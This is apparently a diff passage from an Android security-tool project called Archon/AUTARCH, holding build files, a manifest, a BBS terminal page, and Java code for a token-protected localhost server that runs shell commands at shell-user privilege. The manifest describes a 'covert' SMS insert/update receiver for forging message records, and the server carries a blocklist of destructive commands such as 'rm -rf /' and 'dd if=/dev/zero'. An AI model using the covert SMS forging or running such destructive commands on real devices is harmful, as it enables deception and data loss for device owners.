# ── One-directory build (recommended for Flask apps) ─────────────────────────
exe = EXE(
pyz,
a.scripts,
[],
exclude_binaries=True,
name='AUTARCH',
debug=False,
bootloader_ignore_signals=False,
strip=False,
upx=True,
console=True,
disable_windowed_traceback=False,
argv_emulation=False,
target_arch=None,
codesign_identity=None,
entitlements_file=None,
icon=None,
)
coll = COLLECT(
exe,
a.binaries,
a.datas,
strip=False,
upx=True,
upx_exclude=[],
name='AUTARCH',
)

View File

@ -0,0 +1,61 @@
plugins {
id("com.android.application")
}
android {
namespace = "com.darkhal.archon"
compileSdk = 36
defaultConfig {
applicationId = "com.darkhal.archon"
minSdk = 26
targetSdk = 36
versionCode = 2
versionName = "2.0.0"
}
buildTypes {
release {
isMinifyEnabled = false
proguardFiles(
getDefaultProguardFile("proguard-android-optimize.txt"),
"proguard-rules.pro"
)
}
}
compileOptions {
sourceCompatibility = JavaVersion.VERSION_21
targetCompatibility = JavaVersion.VERSION_21
}
kotlin {
jvmToolchain(21)
}
buildFeatures {
viewBinding = true
}
packaging {
jniLibs {
useLegacyPackaging = false
}
}
}
dependencies {
implementation("androidx.core:core-ktx:1.12.0")
implementation("androidx.appcompat:appcompat:1.6.1")
implementation("com.google.android.material:material:1.11.0")
implementation("androidx.constraintlayout:constraintlayout:2.1.4")
implementation("androidx.navigation:navigation-fragment-ktx:2.7.7")
implementation("androidx.navigation:navigation-ui-ktx:2.7.7")
implementation("androidx.preference:preference-ktx:1.2.1")
implementation("androidx.webkit:webkit:1.10.0")
// Local ADB client (wireless debugging pairing + shell)
implementation("com.github.MuntashirAkon:libadb-android:3.1.1")
implementation("org.conscrypt:conscrypt-android:2.5.3")
}

View File

@ -0,0 +1,128 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<!-- Wi-Fi Direct -->
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.NEARBY_WIFI_DEVICES"
android:usesPermissionFlags="neverForLocation"
android:minSdkVersion="33" />
<!-- Notifications (Android 13+) -->
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
<!-- SMS manipulation (covert database insert, not actual sending) -->
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.RECEIVE_MMS" />
<uses-permission android:name="android.permission.RECEIVE_WAP_PUSH" />
<!-- Bluetooth discovery -->
<uses-permission android:name="android.permission.BLUETOOTH" android:maxSdkVersion="30" />
<uses-permission android:name="android.permission.BLUETOOTH_ADMIN" android:maxSdkVersion="30" />
<uses-permission android:name="android.permission.BLUETOOTH_SCAN"
android:usesPermissionFlags="neverForLocation"
android:minSdkVersion="31" />
<uses-permission android:name="android.permission.BLUETOOTH_CONNECT" android:minSdkVersion="31" />
<!-- Optional hardware features -->
<uses-feature android:name="android.hardware.bluetooth" android:required="false" />
<uses-feature android:name="android.hardware.wifi.direct" android:required="false" />
<application
android:allowBackup="true"
android:icon="@drawable/ic_archon"
android:label="@string/app_name"
android:supportsRtl="true"
android:theme="@style/Theme.Archon"
android:usesCleartextTraffic="true">
<activity
android:name=".LoginActivity"
android:exported="true"
android:screenOrientation="portrait">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity
android:name=".MainActivity"
android:exported="false"
android:screenOrientation="portrait" />
<receiver
android:name=".service.PairingReceiver"
android:exported="false">
<intent-filter>
<action android:name="com.darkhal.archon.ACTION_PAIR" />
</intent-filter>
</receiver>
<!-- SMS Worker: handles covert SMS insert/update from ADB broadcasts -->
<receiver
android:name=".service.SmsWorker"
android:exported="true">
<intent-filter>
<action android:name="com.darkhal.archon.SMS_INSERT" />
<action android:name="com.darkhal.archon.SMS_UPDATE" />
</intent-filter>
</receiver>
<!-- SMS Role stubs (required for cmd role add-role-holder) -->
<receiver
android:name=".service.SmsDeliverReceiver"
android:exported="true"
android:permission="android.permission.BROADCAST_SMS">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_DELIVER" />
</intent-filter>
</receiver>
<receiver
android:name=".service.MmsDeliverReceiver"
android:exported="true"
android:permission="android.permission.BROADCAST_WAP_PUSH">
<intent-filter>
<action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
<data android:mimeType="application/vnd.wap.mms-message" />
</intent-filter>
</receiver>
<service
android:name=".service.RespondViaMessageService"
android:exported="true"
android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE">
<intent-filter>
<action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
<data android:scheme="sms" />
<data android:scheme="smsto" />
<data android:scheme="mms" />
<data android:scheme="mmsto" />
</intent-filter>
</service>
<activity
android:name=".service.SmsComposeActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.SEND" />
<action android:name="android.intent.action.SENDTO" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="sms" />
<data android:scheme="smsto" />
<data android:scheme="mms" />
<data android:scheme="mmsto" />
</intent-filter>
</activity>
</application>
</manifest>

View File

@ -0,0 +1,54 @@
#!/system/bin/sh
# arish — Archon Remote Interactive Shell
# Like Shizuku's "rish" but for the Archon privileged server.
#
# This script finds the Archon APK and launches ArchonRish via app_process,
# which connects to the running ArchonServer and provides an interactive
# shell at UID 2000 (shell-level privileges).
#
# Installation:
# adb push arish /data/local/tmp/arish
# adb shell chmod 755 /data/local/tmp/arish
#
# Usage:
# /data/local/tmp/arish — interactive shell
# /data/local/tmp/arish ls -la /data — single command
# /data/local/tmp/arish -t <token> — specify auth token
# /data/local/tmp/arish -p <port> — specify server port
PACKAGE="com.darkhal.archon"
# Find the APK path
APK_PATH=""
# Method 1: pm path (works if pm is available)
if command -v pm >/dev/null 2>&1; then
APK_PATH=$(pm path "$PACKAGE" 2>/dev/null | head -1 | sed 's/^package://')
fi
# Method 2: Known install locations
if [ -z "$APK_PATH" ]; then
for dir in /data/app/*"$PACKAGE"*; do
if [ -f "$dir/base.apk" ]; then
APK_PATH="$dir/base.apk"
break
fi
done
fi
# Method 3: Check /data/local/tmp for sideloaded APK
if [ -z "$APK_PATH" ] && [ -f "/data/local/tmp/archon.apk" ]; then
APK_PATH="/data/local/tmp/archon.apk"
fi
if [ -z "$APK_PATH" ]; then
echo "arish: cannot find Archon APK ($PACKAGE)"
echo "arish: install the Archon app or place archon.apk in /data/local/tmp/"
exit 1
fi
# Launch ArchonRish via app_process
export CLASSPATH="$APK_PATH"
exec /system/bin/app_process /system/bin \
--nice-name=arish \
com.darkhal.archon.server.ArchonRish "$@"

View File

@ -0,0 +1,28 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
<title>Autarch BBS</title>
<link rel="stylesheet" href="terminal.css">
</head>
<body>
<div id="terminal">
<div id="header">
<pre id="banner">
╔══════════════════════════════════════╗
║ AUTARCH BBS v1.0 ║
║ Secured by Veilid Protocol ║
╚══════════════════════════════════════╝
</pre>
</div>
<div id="output"></div>
<div id="input-line">
<span class="prompt">&gt;</span>
<input type="text" id="cmd-input" autocomplete="off" autocorrect="off"
autocapitalize="off" spellcheck="false" autofocus>
</div>
</div>
<script src="veilid-bridge.js"></script>
</body>
</html>

View File

@ -0,0 +1,128 @@
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
background: #000000;
color: #00FF41;
font-family: 'Source Code Pro', 'Courier New', monospace;
font-size: 14px;
line-height: 1.4;
overflow: hidden;
height: 100vh;
width: 100vw;
}
#terminal {
display: flex;
flex-direction: column;
height: 100vh;
padding: 8px;
}
#header {
flex-shrink: 0;
margin-bottom: 8px;
}
#banner {
color: #00FF41;
font-size: 12px;
line-height: 1.2;
text-align: center;
}
#output {
flex: 1;
overflow-y: auto;
padding-bottom: 8px;
word-wrap: break-word;
}
#output .line {
margin-bottom: 2px;
}
#output .system {
color: #888888;
}
#output .error {
color: #FF4444;
}
#output .info {
color: #00AAFF;
}
#output .success {
color: #00FF41;
}
#input-line {
display: flex;
align-items: center;
flex-shrink: 0;
border-top: 1px solid #333333;
padding-top: 8px;
}
.prompt {
color: #00FF41;
margin-right: 8px;
font-weight: bold;
}
#cmd-input {
flex: 1;
background: transparent;
border: none;
outline: none;
color: #00FF41;
font-family: 'Source Code Pro', 'Courier New', monospace;
font-size: 14px;
caret-color: #00FF41;
}
/* Blinking cursor effect */
@keyframes blink {
0%, 100% { opacity: 1; }
50% { opacity: 0; }
}
#cmd-input:focus {
animation: none;
}
/* Scrollbar */
#output::-webkit-scrollbar {
width: 4px;
}
#output::-webkit-scrollbar-track {
background: #111111;
}
#output::-webkit-scrollbar-thumb {
background: #333333;
border-radius: 2px;
}
#output::-webkit-scrollbar-thumb:hover {
background: #00FF41;
}
/* Loading animation */
.loading::after {
content: '';
animation: dots 1.5s steps(3, end) infinite;
}
@keyframes dots {
0% { content: ''; }
33% { content: '.'; }
66% { content: '..'; }
100% { content: '...'; }
}

View File

@ -0,0 +1,225 @@
/**
* Autarch BBS Veilid Bridge
*
* Handles the BBS terminal interface and will integrate with
* veilid-wasm when the BBS server is deployed on the VPS.
*
* Native Android bridge: window.ArchonBridge
*/
const output = document.getElementById('output');
const cmdInput = document.getElementById('cmd-input');
// Terminal output helpers
function writeLine(text, className) {
const div = document.createElement('div');
div.className = 'line' + (className ? ' ' + className : '');
div.textContent = text;
output.appendChild(div);
output.scrollTop = output.scrollHeight;
}
function writeSystem(text) { writeLine(text, 'system'); }
function writeError(text) { writeLine(text, 'error'); }
function writeInfo(text) { writeLine(text, 'info'); }
function writeSuccess(text) { writeLine(text, 'success'); }
/**
* VeilidBBS placeholder for Veilid WASM integration.
*
* When the BBS server is deployed, this class will:
* 1. Load veilid-wasm from bundled assets
* 2. Initialize a Veilid routing context
* 3. Connect to the BBS server via DHT key
* 4. Send/receive messages through the Veilid network
*/
class VeilidBBS {
constructor() {
this.connected = false;
this.serverAddress = '';
}
async initialize() {
// Get config from native bridge
if (window.ArchonBridge) {
this.serverAddress = window.ArchonBridge.getServerAddress();
const configJson = window.ArchonBridge.getVeilidConfig();
this.config = JSON.parse(configJson);
this.log('Veilid config loaded');
}
}
async connect() {
if (!this.serverAddress) {
writeError('No BBS server address configured.');
writeSystem('Set the Veilid BBS address in Settings.');
return false;
}
writeSystem('Connecting to Autarch BBS...');
writeSystem('Server: ' + this.serverAddress);
// Placeholder — actual Veilid connection will go here
// Steps when implemented:
// 1. await veilid.veilidCoreStartupJSON(config)
// 2. await veilid.veilidCoreAttach()
// 3. Create routing context
// 4. Open route to BBS server DHT key
// 5. Send/receive via app_message / app_call
writeError('Veilid WASM not yet loaded.');
writeSystem('BBS server deployment pending.');
writeSystem('');
writeInfo('The Autarch BBS will be available once the');
writeInfo('VPS server is configured and the Veilid');
writeInfo('WASM module is bundled into this app.');
writeSystem('');
return false;
}
async sendMessage(msg) {
if (!this.connected) {
writeError('Not connected to BBS.');
return;
}
// Placeholder for sending messages via Veilid
this.log('Send: ' + msg);
}
async disconnect() {
this.connected = false;
writeSystem('Disconnected from BBS.');
}
log(msg) {
if (window.ArchonBridge) {
window.ArchonBridge.log(msg);
}
console.log('[VeilidBBS] ' + msg);
}
}
// Command handler
const bbs = new VeilidBBS();
const commandHistory = [];
let historyIndex = -1;
const commands = {
help: function() {
writeInfo('Available commands:');
writeLine(' help — Show this help');
writeLine(' connect — Connect to Autarch BBS');
writeLine(' disconnect — Disconnect from BBS');
writeLine(' status — Show connection status');
writeLine(' clear — Clear terminal');
writeLine(' about — About Autarch BBS');
writeLine(' version — Show version info');
},
connect: async function() {
await bbs.connect();
},
disconnect: async function() {
await bbs.disconnect();
},
status: function() {
writeInfo('Connection Status:');
writeLine(' Connected: ' + (bbs.connected ? 'YES' : 'NO'));
writeLine(' Server: ' + (bbs.serverAddress || 'not configured'));
if (window.ArchonBridge) {
writeLine(' Archon URL: ' + window.ArchonBridge.getAutarchUrl());
}
},
clear: function() {
output.innerHTML = '';
},
about: function() {
writeInfo('╔════════════════════════════════════╗');
writeInfo('║ AUTARCH BBS ║');
writeInfo('╠════════════════════════════════════╣');
writeLine('║ A decentralized bulletin board ║');
writeLine('║ system secured by the Veilid ║');
writeLine('║ protocol. All communications are ║');
writeLine('║ end-to-end encrypted and routed ║');
writeLine('║ through an onion-style network. ║');
writeInfo('╚════════════════════════════════════╝');
},
version: function() {
let ver = '1.0.0';
if (window.ArchonBridge) {
ver = window.ArchonBridge.getAppVersion();
}
writeLine('Archon v' + ver);
writeLine('Veilid WASM: not loaded (pending deployment)');
}
};
function processCommand(input) {
const trimmed = input.trim();
if (!trimmed) return;
writeLine('> ' + trimmed);
commandHistory.push(trimmed);
historyIndex = commandHistory.length;
const parts = trimmed.split(/\s+/);
const cmd = parts[0].toLowerCase();
if (commands[cmd]) {
commands[cmd](parts.slice(1));
} else if (bbs.connected) {
// If connected, send as BBS message
bbs.sendMessage(trimmed);
} else {
writeError('Unknown command: ' + cmd);
writeSystem('Type "help" for available commands.');
}
}
// Input handling
cmdInput.addEventListener('keydown', function(e) {
if (e.key === 'Enter') {
processCommand(this.value);
this.value = '';
} else if (e.key === 'ArrowUp') {
e.preventDefault();
if (historyIndex > 0) {
historyIndex--;
this.value = commandHistory[historyIndex];
}
} else if (e.key === 'ArrowDown') {
e.preventDefault();
if (historyIndex < commandHistory.length - 1) {
historyIndex++;
this.value = commandHistory[historyIndex];
} else {
historyIndex = commandHistory.length;
this.value = '';
}
}
});
// Keep input focused
document.addEventListener('click', function() {
cmdInput.focus();
});
// Startup
(async function() {
writeSuccess('AUTARCH BBS Terminal v1.0');
writeSystem('Initializing...');
writeSystem('');
await bbs.initialize();
writeSystem('Type "help" for commands.');
writeSystem('Type "connect" to connect to the BBS.');
writeSystem('');
cmdInput.focus();
})();

View File

@ -0,0 +1,311 @@
package com.darkhal.archon.server;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.io.PrintWriter;
import java.net.InetAddress;
import java.net.Socket;
/**
* Archon Remote Interactive Shell (arish) like Shizuku's "rish" but for Archon.
*
* Connects to the running ArchonServer on localhost and provides an interactive
* shell at UID 2000 (shell privileges). This gives terminal users the same
* elevated access that the Archon app modules use internally.
*
* Usage (from adb shell or terminal emulator):
* arish interactive shell
* arish <command> execute single command
* arish -t <token> specify auth token
* arish -p <port> specify server port
* echo "pm list packages" | arish pipe commands
*
* The "arish" shell script in assets/ sets up CLASSPATH and invokes this via app_process.
*
* Bootstrap:
* CLASSPATH='/data/app/.../base.apk' /system/bin/app_process /system/bin \
* --nice-name=arish com.darkhal.archon.server.ArchonRish [args...]
*/
public class ArchonRish {
private static final String DEFAULT_TOKEN_FILE = "/data/local/tmp/.archon_token";
private static final int DEFAULT_PORT = 17321;
private static final int CONNECT_TIMEOUT = 3000;
private static final int READ_TIMEOUT = 30000;
public static void main(String[] args) {
String token = null;
int port = DEFAULT_PORT;
String singleCmd = null;
boolean showHelp = false;
// Parse arguments
int i = 0;
while (i < args.length) {
switch (args[i]) {
case "-t":
case "--token":
if (i + 1 < args.length) {
token = args[++i];
}
break;
case "-p":
case "--port":
if (i + 1 < args.length) {
port = Integer.parseInt(args[++i]);
}
break;
case "-h":
case "--help":
showHelp = true;
break;
default:
// Everything else is a command to execute
StringBuilder sb = new StringBuilder();
for (int j = i; j < args.length; j++) {
if (j > i) sb.append(' ');
sb.append(args[j]);
}
singleCmd = sb.toString();
i = args.length; // break outer loop
break;
}
i++;
}
if (showHelp) {
printHelp();
return;
}
// Try to read token from file if not provided
if (token == null) {
token = readTokenFile();
}
if (token == null) {
System.err.println("arish: no auth token. Use -t <token> or ensure ArchonServer wrote " + DEFAULT_TOKEN_FILE);
System.exit(1);
}
// Check if stdin is a pipe (non-interactive)
boolean isPiped = false;
try {
isPiped = System.in.available() > 0 || singleCmd != null;
} catch (Exception e) {
// Assume interactive
}
if (singleCmd != null) {
// Single command mode
int exitCode = executeRemote(token, port, singleCmd);
System.exit(exitCode);
} else if (isPiped) {
// Pipe mode read commands from stdin
runPiped(token, port);
} else {
// Interactive mode
runInteractive(token, port);
}
}
private static void runInteractive(String token, int port) {
System.out.println("arish — Archon Remote Interactive Shell (UID 2000)");
System.out.println("Connected to ArchonServer on localhost:" + port);
System.out.println("Type 'exit' to quit.\n");
BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));
while (true) {
System.out.print("arish$ ");
System.out.flush();
String line;
try {
line = stdin.readLine();
} catch (Exception e) {
break;
}
if (line == null) break; // EOF
line = line.trim();
if (line.isEmpty()) continue;
if (line.equals("exit") || line.equals("quit")) break;
executeRemote(token, port, line);
}
System.out.println("\narish: disconnected");
}
private static void runPiped(String token, int port) {
BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));
int lastExit = 0;
try {
String line;
while ((line = stdin.readLine()) != null) {
line = line.trim();
if (line.isEmpty() || line.startsWith("#")) continue;
lastExit = executeRemote(token, port, line);
}
} catch (Exception e) {
System.err.println("arish: read error: " + e.getMessage());
}
System.exit(lastExit);
}
private static int executeRemote(String token, int port, String command) {
try {
InetAddress loopback = InetAddress.getByName("127.0.0.1");
Socket sock = new Socket();
sock.connect(new java.net.InetSocketAddress(loopback, port), CONNECT_TIMEOUT);
sock.setSoTimeout(READ_TIMEOUT);
PrintWriter writer = new PrintWriter(new OutputStreamWriter(sock.getOutputStream()), true);
BufferedReader reader = new BufferedReader(new InputStreamReader(sock.getInputStream()));
// Send command as JSON
String json = "{\"token\":\"" + escapeJson(token) + "\","
+ "\"cmd\":\"" + escapeJson(command) + "\","
+ "\"timeout\":30}";
writer.println(json);
writer.flush();
// Read response
String response = reader.readLine();
sock.close();
if (response == null) {
System.err.println("arish: no response from server");
return -1;
}
// Parse JSON response (minimal hand-parsing, same as ArchonServer pattern)
String stdout = extractJsonString(response, "stdout");
String stderr = extractJsonString(response, "stderr");
int exitCode = extractJsonInt(response, "exit_code", -1);
if (stdout != null && !stdout.isEmpty()) {
System.out.print(stdout);
if (!stdout.endsWith("\n")) System.out.println();
}
if (stderr != null && !stderr.isEmpty()) {
System.err.print(stderr);
if (!stderr.endsWith("\n")) System.err.println();
}
return exitCode;
} catch (java.net.ConnectException e) {
System.err.println("arish: cannot connect to ArchonServer on localhost:" + port);
System.err.println("arish: is the server running? Check Setup tab in Archon app.");
return -1;
} catch (Exception e) {
System.err.println("arish: error: " + e.getMessage());
return -1;
}
}
// JSON Helpers (hand-rolled, no library dependencies)
private static String escapeJson(String s) {
if (s == null) return "";
StringBuilder sb = new StringBuilder();
for (int j = 0; j < s.length(); j++) {
char c = s.charAt(j);
switch (c) {
case '"': sb.append("\\\""); break;
case '\\': sb.append("\\\\"); break;
case '\n': sb.append("\\n"); break;
case '\r': sb.append("\\r"); break;
case '\t': sb.append("\\t"); break;
default: sb.append(c); break;
}
}
return sb.toString();
}
private static String extractJsonString(String json, String key) {
String searchKey = "\"" + key + "\":\"";
int start = json.indexOf(searchKey);
if (start < 0) return "";
start += searchKey.length();
StringBuilder sb = new StringBuilder();
boolean escape = false;
for (int j = start; j < json.length(); j++) {
char c = json.charAt(j);
if (escape) {
switch (c) {
case 'n': sb.append('\n'); break;
case 'r': sb.append('\r'); break;
case 't': sb.append('\t'); break;
case '"': sb.append('"'); break;
case '\\': sb.append('\\'); break;
default: sb.append(c); break;
}
escape = false;
} else if (c == '\\') {
escape = true;
} else if (c == '"') {
break;
} else {
sb.append(c);
}
}
return sb.toString();
}
private static int extractJsonInt(String json, String key, int defaultValue) {
// Try "key":N pattern
String searchKey = "\"" + key + "\":";
int start = json.indexOf(searchKey);
if (start < 0) return defaultValue;
start += searchKey.length();
StringBuilder sb = new StringBuilder();
for (int j = start; j < json.length(); j++) {
char c = json.charAt(j);
if (c == '-' || (c >= '0' && c <= '9')) {
sb.append(c);
} else {
break;
}
}
try {
return Integer.parseInt(sb.toString());
} catch (NumberFormatException e) {
return defaultValue;
}
}
private static String readTokenFile() {
try {
java.io.File f = new java.io.File(DEFAULT_TOKEN_FILE);
if (!f.exists()) return null;
BufferedReader br = new BufferedReader(new java.io.FileReader(f));
String token = br.readLine();
br.close();
if (token != null) token = token.trim();
return (token != null && !token.isEmpty()) ? token : null;
} catch (Exception e) {
return null;
}
}
private static void printHelp() {
System.out.println("arish — Archon Remote Interactive Shell");
System.out.println();
System.out.println("Usage:");
System.out.println(" arish Interactive shell (UID 2000)");
System.out.println(" arish <command> Execute single command");
System.out.println(" arish -t <token> Specify auth token");
System.out.println(" arish -p <port> Specify server port (default: 17321)");
System.out.println(" echo \"cmd\" | arish Pipe commands");
System.out.println();
System.out.println("The ArchonServer must be running (start from the Archon app Setup tab).");
System.out.println("Commands execute at UID 2000 (shell) — same as adb shell.");
System.out.println();
System.out.println("Token is read from " + DEFAULT_TOKEN_FILE + " if not specified.");
System.out.println("The Archon app writes this file when the server starts.");
}
}

View File

@ -0,0 +1,380 @@
package com.darkhal.archon.server;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.io.PrintWriter;
import java.net.InetAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.SocketTimeoutException;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Locale;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicBoolean;
/**
* Archon Privileged Server runs via app_process at shell (UID 2000) level.
*
* Started via ADB:
* CLASSPATH=/data/app/.../base.apk app_process /system/bin \
* --nice-name=archon_server com.darkhal.archon.server.ArchonServer <token> <port>
*
* Listens on localhost:<port> for JSON commands authenticated with a token.
* Modeled after Shizuku's server architecture but uses TCP sockets instead of Binder IPC.
*
* Protocol (JSON over TCP, newline-delimited):
* Request: {"token":"xxx","cmd":"pm list packages","timeout":30}
* Response: {"stdout":"...","stderr":"...","exit_code":0}
*
* Special commands:
* {"token":"xxx","cmd":"__ping__"} {"stdout":"pong","stderr":"","exit_code":0}
* {"token":"xxx","cmd":"__shutdown__"} server exits gracefully
* {"token":"xxx","cmd":"__info__"} {"stdout":"uid=2000 pid=... uptime=...","stderr":"","exit_code":0}
*/
public class ArchonServer {
private static final String TAG = "ArchonServer";
private static final String LOG_FILE = "/data/local/tmp/archon_server.log";
private static final int DEFAULT_TIMEOUT = 30;
private static final int SOCKET_TIMEOUT = 0; // No timeout on accept (blocking)
// Safety blocklist commands that could brick the device
private static final String[] BLOCKED_PATTERNS = {
"rm -rf /",
"rm -rf /*",
"mkfs",
"dd if=/dev/zero",
"reboot",
"shutdown",
"init 0",
"init 6",
"flash_image",
"erase_image",
"format_data",
"> /dev/block",
};
private static String authToken;
private static int listenPort;
private static final AtomicBoolean running = new AtomicBoolean(true);
private static ExecutorService executor;
private static long startTime;
public static void main(String[] args) {
if (args.length < 2) {
System.err.println("Usage: ArchonServer <token> <port>");
System.exit(1);
}
authToken = args[0];
listenPort = Integer.parseInt(args[1]);
startTime = System.currentTimeMillis();
log("Starting Archon Server on port " + listenPort);
log("PID: " + android.os.Process.myPid() + " UID: " + android.os.Process.myUid());
// Handle SIGTERM for graceful shutdown
Runtime.getRuntime().addShutdownHook(new Thread(() -> {
log("Shutdown hook triggered");
running.set(false);
if (executor != null) {
executor.shutdownNow();
}
}));
executor = Executors.newCachedThreadPool();
try {
// Bind to localhost only not accessible from network
InetAddress loopback = InetAddress.getByName("127.0.0.1");
ServerSocket serverSocket = new ServerSocket(listenPort, 5, loopback);
log("Listening on 127.0.0.1:" + listenPort);
while (running.get()) {
try {
Socket client = serverSocket.accept();
client.setSoTimeout(60000); // 60s read timeout per connection
executor.submit(() -> handleClient(client));
} catch (SocketTimeoutException e) {
// Expected, loop continues
} catch (IOException e) {
if (running.get()) {
log("Accept error: " + e.getMessage());
}
}
}
serverSocket.close();
} catch (IOException e) {
log("Fatal: " + e.getMessage());
System.exit(2);
}
log("Server stopped");
if (executor != null) {
executor.shutdown();
try {
executor.awaitTermination(5, TimeUnit.SECONDS);
} catch (InterruptedException ignored) {}
}
System.exit(0);
}
private static void handleClient(Socket client) {
String clientAddr = client.getRemoteSocketAddress().toString();
log("Client connected: " + clientAddr);
try (
BufferedReader reader = new BufferedReader(new InputStreamReader(client.getInputStream()));
PrintWriter writer = new PrintWriter(new OutputStreamWriter(client.getOutputStream()), true)
) {
String line;
while ((line = reader.readLine()) != null) {
String response = processRequest(line);
writer.println(response);
writer.flush();
// Check if we should shut down after this request
if (!running.get()) {
break;
}
}
} catch (IOException e) {
log("Client error: " + e.getMessage());
} finally {
try { client.close(); } catch (IOException ignored) {}
log("Client disconnected: " + clientAddr);
}
}
private static String processRequest(String json) {
// Simple JSON parsing without dependencies
String token = extractJsonString(json, "token");
String cmd = extractJsonString(json, "cmd");
int timeout = extractJsonInt(json, "timeout", DEFAULT_TIMEOUT);
// No-auth alive check allows any client to verify server is running
if ("__alive__".equals(cmd)) {
return jsonResponse("alive", "", 0);
}
// Verify auth token
if (token == null || !token.equals(authToken)) {
log("Auth failed from request");
return jsonResponse("", "Authentication failed", -1);
}
if (cmd == null || cmd.isEmpty()) {
return jsonResponse("", "No command specified", -1);
}
// Handle special commands
switch (cmd) {
case "__ping__":
return jsonResponse("pong", "", 0);
case "__shutdown__":
log("Shutdown requested");
running.set(false);
return jsonResponse("Server shutting down", "", 0);
case "__info__":
long uptime = (System.currentTimeMillis() - startTime) / 1000;
String info = "uid=" + android.os.Process.myUid() +
" pid=" + android.os.Process.myPid() +
" uptime=" + uptime + "s";
return jsonResponse(info, "", 0);
}
// Safety check
if (isBlocked(cmd)) {
log("BLOCKED dangerous command: " + cmd);
return jsonResponse("", "Command blocked by safety filter", -1);
}
// Execute the command
return executeCommand(cmd, timeout);
}
private static boolean isBlocked(String cmd) {
String lower = cmd.toLowerCase(Locale.ROOT).trim();
for (String pattern : BLOCKED_PATTERNS) {
if (lower.contains(pattern.toLowerCase(Locale.ROOT))) {
return true;
}
}
return false;
}
private static String executeCommand(String cmd, int timeoutSec) {
try {
ProcessBuilder pb = new ProcessBuilder("sh", "-c", cmd);
pb.redirectErrorStream(false);
Process process = pb.start();
// Read stdout and stderr in parallel to avoid deadlocks
StringBuilder stdout = new StringBuilder();
StringBuilder stderr = new StringBuilder();
Thread stdoutThread = new Thread(() -> {
try (BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()))) {
String line;
while ((line = br.readLine()) != null) {
if (stdout.length() > 0) stdout.append("\n");
stdout.append(line);
}
} catch (IOException ignored) {}
});
Thread stderrThread = new Thread(() -> {
try (BufferedReader br = new BufferedReader(new InputStreamReader(process.getErrorStream()))) {
String line;
while ((line = br.readLine()) != null) {
if (stderr.length() > 0) stderr.append("\n");
stderr.append(line);
}
} catch (IOException ignored) {}
});
stdoutThread.start();
stderrThread.start();
boolean completed = process.waitFor(timeoutSec, TimeUnit.SECONDS);
if (!completed) {
process.destroyForcibly();
stdoutThread.join(1000);
stderrThread.join(1000);
return jsonResponse(stdout.toString(), "Command timed out after " + timeoutSec + "s", -1);
}
stdoutThread.join(5000);
stderrThread.join(5000);
return jsonResponse(stdout.toString(), stderr.toString(), process.exitValue());
} catch (Exception e) {
return jsonResponse("", "Execution error: " + e.getMessage(), -1);
}
}
// JSON helpers (no library dependencies)
private static String jsonResponse(String stdout, String stderr, int exitCode) {
return "{\"stdout\":" + jsonEscape(stdout) +
",\"stderr\":" + jsonEscape(stderr) +
",\"exit_code\":" + exitCode + "}";
}
private static String jsonEscape(String s) {
if (s == null) return "\"\"";
StringBuilder sb = new StringBuilder("\"");
for (int i = 0; i < s.length(); i++) {
char c = s.charAt(i);
switch (c) {
case '"': sb.append("\\\""); break;
case '\\': sb.append("\\\\"); break;
case '\b': sb.append("\\b"); break;
case '\f': sb.append("\\f"); break;
case '\n': sb.append("\\n"); break;
case '\r': sb.append("\\r"); break;
case '\t': sb.append("\\t"); break;
default:
if (c < 0x20) {
sb.append(String.format("\\u%04x", (int) c));
} else {
sb.append(c);
}
}
}
sb.append("\"");
return sb.toString();
}
private static String extractJsonString(String json, String key) {
// Pattern: "key":"value" or "key": "value"
String search = "\"" + key + "\"";
int idx = json.indexOf(search);
if (idx < 0) return null;
idx = json.indexOf(':', idx + search.length());
if (idx < 0) return null;
// Skip whitespace
idx++;
while (idx < json.length() && json.charAt(idx) == ' ') idx++;
if (idx >= json.length() || json.charAt(idx) != '"') return null;
idx++; // skip opening quote
StringBuilder sb = new StringBuilder();
while (idx < json.length()) {
char c = json.charAt(idx);
if (c == '\\' && idx + 1 < json.length()) {
char next = json.charAt(idx + 1);
switch (next) {
case '"': sb.append('"'); break;
case '\\': sb.append('\\'); break;
case 'n': sb.append('\n'); break;
case 'r': sb.append('\r'); break;
case 't': sb.append('\t'); break;
default: sb.append(next); break;
}
idx += 2;
} else if (c == '"') {
break;
} else {
sb.append(c);
idx++;
}
}
return sb.toString();
}
private static int extractJsonInt(String json, String key, int defaultVal) {
String search = "\"" + key + "\"";
int idx = json.indexOf(search);
if (idx < 0) return defaultVal;
idx = json.indexOf(':', idx + search.length());
if (idx < 0) return defaultVal;
idx++;
while (idx < json.length() && json.charAt(idx) == ' ') idx++;
StringBuilder sb = new StringBuilder();
